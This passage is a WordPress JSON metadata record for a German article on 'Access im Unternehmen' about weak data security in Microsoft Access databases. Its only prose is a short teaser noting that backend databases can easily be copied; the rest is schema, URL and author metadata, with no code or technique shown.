untersucht und erhebliche M&auml;ngel bei der Sicherheit der Daten festgestellt. Prim&auml;r haben wir uns angeschaut, ob ein Mitarbeiter ohne Weiteres auf die in der Datenbank gespeicherten Daten zugreifen kann. In den meisten F&auml;llen konnte er sich einfach die Backend-Datenbank kopieren und so in den Besitz wichtiger Daten des Unternehmens gelangen. Oft war zumindest das Backend durch ein Kennwort gesch&uuml;tzt, sodass man nur &uuml;ber das Frontend auf die Daten zugreifen kann. Ob das sicher ist, schauen wir uns im vorliegenden Beitrag an. Um es vorwegzunehmen: Es ist nicht sicher.","og_url":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/","og_site_name":"Access im Unternehmen","article_published_time":"2025-08-28T16:33:33+00:00","author":"Andr\u00e9 Minhorst","twitter_card":"summary_large_image","twitter_misc":{"Verfasst von":"Andr\u00e9 Minhorst","Gesch\u00e4tzte Lesezeit":"9\u00a0Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#article","isPartOf":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/"},"author":{"name":"Andr\u00e9 Minhorst","@id":"https:\/\/access-im-unternehmen.de\/#\/schema\/person\/13395c4bcd7d7963efe33be9c584d93f"},"headline":"Einfacher Datenklau durch mangelnde Sicherheit","datePublished":"2025-08-28T16:33:33+00:00","mainEntityOfPage":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/"},"wordCount":1429,"commentCount":0,"publisher":{"@id":"https:\/\/access-im-unternehmen.de\/#organization"},"image":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#primaryimage"},"thumbnailUrl":"http:\/\/vg01.met.vgwort.de\/na\/87f1c814c641429f9a3ad3aa41a2aa54","articleSection":["2025","5\/2025","Sicherheit"],"inLanguage":"de","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/","url":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/","name":"Einfacher Datenklau durch mangelnde Sicherheit - Access im Unternehmen","isPartOf":{"@id":"https:\/\/access-im-unternehmen.de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#primaryimage"},"image":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#primaryimage"},"thumbnailUrl":"http:\/\/vg01.met.vgwort.de\/na\/87f1c814c641429f9a3ad3aa41a2aa54","datePublished":"2025-08-28T16:33:33+00:00","breadcrumb":{"@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#breadcrumb"},"inLanguage":"de","potentialAction":[{"@type":"ReadAction","target":["https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/"]}]},{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#primaryimage","url":"http:\/\/vg01.met.vgwort.de\/na\/87f1c814c641429f9a3ad3aa41a2aa54","contentUrl":"http:\/\/vg01.met.vgwort.de\/na\/87f1c814c641429f9a3ad3aa41a2aa54"},{"@type":"BreadcrumbList","@id":"https:\/\/access-im-unternehmen.de\/Einfacher_Datenklau_durch_mangelnde_Sicherheit\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/access-im-unternehmen.de\/"},{"@type":"ListItem","position":2,"name":"Einfacher Datenklau durch mangelnde Sicherheit"}]},{"@type":"WebSite","@id":"https:\/\/access-im-unternehmen.de\/#website","url":"https:\/\/access-im-unternehmen.de\/","name":"Access im Unternehmen","description":"Das Magazin f\u00fcr Datenbankentwickler auf Basis von Microsoft Access","publisher":{"@id":"https:\/\/access-im-unternehmen.de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/access-im-unternehmen.de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"de"},{"@type":"Organization","@id":"https:\/\/access-im-unternehmen.de\/#organization","name":"Andr\u00e9 Minhorst Verlag","url":"https:\/\/access-im-unternehmen.de\/","logo":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/access-im-unternehmen.de\/#\/schema\/logo\/image\/","url":"https:\/\/access-im-unternehmen.de\/wp-content\/uploads\/2019\/09\/aiu_wp.png","contentUrl":"https:\/\/access-im-unternehmen.de\/wp-content\/uploads\/2019\/09\/aiu_wp.png","width":370,"height":111,"caption":"Andr\u00e9 Minhorst Verlag"},"image":{"@id":"https:\/\/access-im-unternehmen.de\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/access-im-unternehmen.de\/#\/schema\/person\/13395c4bcd7d7963efe33be9c584d93f","name":"Andr\u00e9 Minhorst","image":{"@type":"ImageObject","inLanguage":"de","@id":"https:\/\/secure.gravatar.com\/avatar\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1b9d010cf1716692cb9c34f21554e07d17d461acaea5b61b8cb21cbec678d48a?s=96&d=mm&r=g","caption":"Andr\u00e9 Minhorst"}}]}},"_links":{"self":[{"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/posts\/55001565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/comments?post=55001565"}],"version-history":[{"count":0,"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/posts\/55001565\/revisions"}],"wp:attachment":[{"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/media?parent=55001565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/categories?post=55001565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/access-im-unternehmen.de\/data\/wp\/v2\/tags?post=55001565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}